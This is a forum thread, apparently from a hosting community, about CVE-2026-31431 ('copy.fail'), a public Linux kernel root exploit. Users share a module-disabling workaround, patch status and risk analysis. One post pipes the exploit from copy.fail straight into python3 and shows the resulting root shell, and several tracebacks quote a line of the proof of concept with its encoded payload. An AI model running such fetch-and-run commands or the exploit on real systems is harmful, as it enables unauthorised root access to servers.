Public exploit on most Linux distro’s - patching recommended

BackboneDirect · April 29

Hi LET,

We wanted to make you aware of https://copy.fail - its quite easy to get privileged access via such exploit.

Remedy is disabling the algif module like below; the site explains it more clearly.

echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf

zed · April 29

https://security-tracker.debian.org/tracker/CVE-2026-31431

davide · April 29

If it weren't as solid as a rock it would be flexing :D

whynotlearn · April 29

Had uploaded the same article but you had beat me to it!

Anyways, it feels like a really scary bug to have for 7 years in the linux kernel. This feels like a bug which a state nation might as well pay some crazy high millions for. Just absolutely wild.

There are softwares which are having supply chain attacks so if you update to the latest version then you get compromised, and softwares where previous bugs can lead to RCE (Opencode had that issue for example for sometime) and now this issue too which converts any RCE into straight up root privilege issue which is a crazy escalation.

This bug still works on fresh Ubuntu/Debian but is fixed on arch and cachy and others, lets hope that this bug is solved asap by default.

I am a bit confused as to why Ubuntu set this bug as medium in their bug tracker when it should be high by their own standards/rules. Doesn't inspire confidence in Ubuntu that much but I personally already use debian so YMMV

buzzyLET · April 29

there's not even a current patch for Ubuntu/Debian?? what am I supposed to do??

oloke · April 29

@buzzyLET said:
there's not even a current patch for Ubuntu/Debian?? what am I supposed to do??

Most recent Debian version still vulnerable:

Ubuntu also mostly not patched (except 26.04 apparently):
https://ubuntu.com/security/CVE-2026-31431

The temporary workaround was provided in the original post:

echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf

This will disable AEAD support in AF_ALG entirely, preventing the possibility of exploitation.

whynotlearn · April 29

@buzzyLET said:
there's not even a current patch for Ubuntu/Debian?? what am I supposed to do??

I think doing this or something similar, echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf

Jord · April 29

This is why we can't have nice things

sillycat · April 29

I'm still running Ubuntu 20.04 LTS with 5.0 kernel. What does this mean for me?

CloudHopper · April 29

Fortunately it's only an LPE so an attacker would have to already have access to the server to be able to exploit it. It's a big problem for shared environments, but for private servers it's not that big a deal.

tux · April 29

@buzzyLET said:
there's not even a current patch for Ubuntu/Debian?? what am I supposed to do??

Kernel upgrade if it is fixed in newer kernel

zed · April 29

@tux said:

@buzzyLET said:
there's not even a current patch for Ubuntu/Debian?? what am I supposed to do??

Kernel upgrade if it is fixed in newer kernel

good thing tux showed up!

BackboneDirect · April 29

More is coming soon as well:

https://xint.io/blog/copy-fail-linux-distributions

emperor · April 29

On Slackware 15.0 kernel 5.15.193 im getting this error

Traceback (most recent call last):
  File "<stdin>", line 8, in <module>
FileNotFoundError: [Errno 2] No such file or directory: '/usr/bin/su'

su is located in diff directory

totally_not_banned · April 29

@emperor said:
On Slackware 15.0 kernel 5.15.193 im getting this error
Traceback (most recent call last):
  File "<stdin>", line 8, in <module>
FileNotFoundError: [Errno 2] No such file or directory: '/usr/bin/su'

Seems it expects su to be in /usr/bin which going by the error messages it obviously isn't. Probably the result of this stupid directory merge nonsense a lot of mainstream distributions applied recently.

emperor · April 29

@totally_not_banned said:
@emperor said:
On Slackware 15.0 kernel 5.15.193 im getting this error
Traceback (most recent call last):
  File "<stdin>", line 8, in <module>
FileNotFoundError: [Errno 2] No such file or directory: '/usr/bin/su'
Seems it expects su to be in /usr/bin which going by the error messages it obviously isn't. Probably the result of this stupid directory merge nonsense a lot of mainstream distributions applied recently.

Well, i did manage to edit with correct path, and now im getting this :

Traceback (most recent call last):
  File "/home/user/exp.py", line 8, in <module>
    f=g.open("/bin/su",0);i=0;e=zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))
PermissionError: [Errno 13] Permission denied: '/bin/su'

totally_not_banned · April 29

@emperor said:
@totally_not_banned said:
@emperor said:
On Slackware 15.0 kernel 5.15.193 im getting this error
Traceback (most recent call last):
  File "<stdin>", line 8, in <module>
FileNotFoundError: [Errno 2] No such file or directory: '/usr/bin/su'
Seems it expects su to be in /usr/bin which going by the error messages it obviously isn't. Probably the result of this stupid directory merge nonsense a lot of mainstream distributions applied recently.
Well, i did manage to edit with correct path, and now im getting this :
Traceback (most recent call last):
  File "/home/user/exp.py", line 8, in <module>
    f=g.open("/bin/su",0);i=0;e=zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))
PermissionError: [Errno 13] Permission denied: '/bin/su'

No idea, sorry. Maybe slackware is just to cool to be owned by such silly little exploit? Well, maybe it expects read permission for world and slackware doesn't grant that by default but at that point i am plainly guessing.

MikeA · April 29

I tried it on non-sudo users on some Rockylinux (4.X kernel) and it didn't work. But I updated and rebooted anyways.

buzzyLET · April 29

@MikeA said:
I tried it on non-sudo users on some Rockylinux (4.X kernel) and it didn't work. But I updated and rebooted anyways.

Is there a comprehensive list yet of which distros are affected or not?

raindog308 · April 29

@BackboneDirect said: https://copy.fail

slowservers · April 29

IPv6 only servers are immune! Get yours today!

monero@localhost:~$ curl https://copy.fail/exp
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0
curl: (7) Failed to connect to copy.fail port 443 after 156 ms: Could not connect to server

Oh, not so fast...

monero@localhost:~$ curl -x 'socks5h://[2602:f5ef::1080]:1080' https://copy.fail/exp | python3 && su
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100   731    0   731    0     0   4148      0 --:--:-- --:--:-- --:--:--  4153
# id                   
uid=0(root) gid=1000(monero) groups=1000(monero)

Pretty scary. Debian still seems to be vulnerable on all stable versions: https://security-tracker.debian.org/tracker/CVE-2026-31431

Thank you for sharing!

nghialele · April 29

Too scary I cancelled my vps.

MikeA · April 29

@nghialele said:
Too scary I cancelled my vps.

Reguards

concept · April 29

just turn off the internet on your vps.

zed · April 30

@buzzyLET said:

@MikeA said:
I tried it on non-sudo users on some Rockylinux (4.X kernel) and it didn't work. But I updated and rebooted anyways.

Is there a comprehensive list yet of which distros are affected or not?

"The same exploit binary works unmodified on every Linux distribution."

Some have been patched, probably simplest to just check with your distro. At a mimimum debian & it's descendants seem unpatched as yet.

jon617 · April 30

@CloudHopper said: Fortunately it's only an LPE so an attacker would have to already have access to the server to be able to exploit it. It's a big problem for shared environments, but for private servers it's not that big a deal.

Just to clarify, yes, the attacker would need to have access to a server to use the exploit, by "access" it's basically any host that can run tenant's code. So not just ssh logins, but also any client's docker/kubernetes containers, CI runners, and serverless functions. So, any host that can run someone's code.

Definitely scary that this affected almost every linux distro released between 2017 and March 2026.

The other scary thing, it may be impossible to ever know if a system had been exploited. Because the exploit changes the page cache in RAM without touching any files on the disk, it would be nearly impossible to know since their activity in RAM disappears upon reboot. And the only way to know if an attacker installed a persistent backdoor would be lots of digging at system files and network logs for anything unusual (finding a needle in a haystack).

So I would think all hosting providers and PaaS providers should patch and reboot immediately, then reinstall their OS's as soon as possible.

forest · April 30

@totally_not_banned said: No idea, sorry. Maybe slackware is just to cool to be owned by such silly little exploit? Well, maybe it expects read permission for world and slackware doesn't grant that by default but at that point i am plainly guessing.

It's just a PoC. There are multiple ways to exploit it even if the Python PoC doesn't work.

totally_not_banned · April 30

@forest said:

@totally_not_banned said: No idea, sorry. Maybe slackware is just to cool to be owned by such silly little exploit? Well, maybe it expects read permission for world and slackware doesn't grant that by default but at that point i am plainly guessing.

It's just a PoC. There are multiple ways to exploit it even if the Python PoC doesn't work.

I was joking, dear little girl avatar friend.

CloudHopper · April 30

@jon617 said:

@CloudHopper said: Fortunately it's only an LPE so an attacker would have to already have access to the server to be able to exploit it. It's a big problem for shared environments, but for private servers it's not that big a deal.

Just to clarify, yes, the attacker would need to have access to a server to use the exploit, by "access" it's basically any host that can run tenant's code. So not just ssh logins, but also any client's docker/kubernetes containers, CI runners, and serverless functions. So, any host that can run someone's code.

Definitely scary that this affected almost every linux distro released between 2017 and March 2026.

The other scary thing, it may be impossible to ever know if a system had been exploited. Because the exploit changes the page cache in RAM without touching any files on the disk, it would be nearly impossible to know since their activity in RAM disappears upon reboot. And the only way to know if an attacker installed a persistent backdoor would be lots of digging at system files and network logs for anything unusual (finding a needle in a haystack).

So I would think all hosting providers and PaaS providers should patch and reboot immediately, then reinstall their OS's as soon as possible.

Once an attacker has user level access they can escalate their privileges in various manners. What makes this LPE special is it's universal and easy to trigger because of the size of the payload, but LPEs in general aren't particularly valuable to exploit brokers because privilege escalation is usually easy due to user misconfigurations.

For example, if you run docker containers and your compromised user is a member of the Docker group then that's an instant LPE because the attacker can use a docker container to perform privileged activities on the host that will give them sustained root access.

Anyone running shared environments should be gravely concerned by this, but anyone running a private server should already be gravely concerned when an unauthorized entity gains unprivileged access to their environment, regardless of whether there's a fancy LPE floating around or not.

dbadude · April 30

Not so smart to show how to do the exploit, many wannabe hackers will use it now.

tentor · April 30

@dbadude said:
Not so smart to show how to do the exploit, many wannabe hackers will use it now.

Apparently, they do

I am seeing almost 2x scanning sources of what's usually seen at this time of day

Howdy, Stranger!

Categories

In this Discussion

Public exploit on most Linux distro’s - patching recommended

Comments

Howdy, Stranger!

Quick Links

Categories

In this Discussion

Public exploit on most Linux distro’s - patching recommended

Comments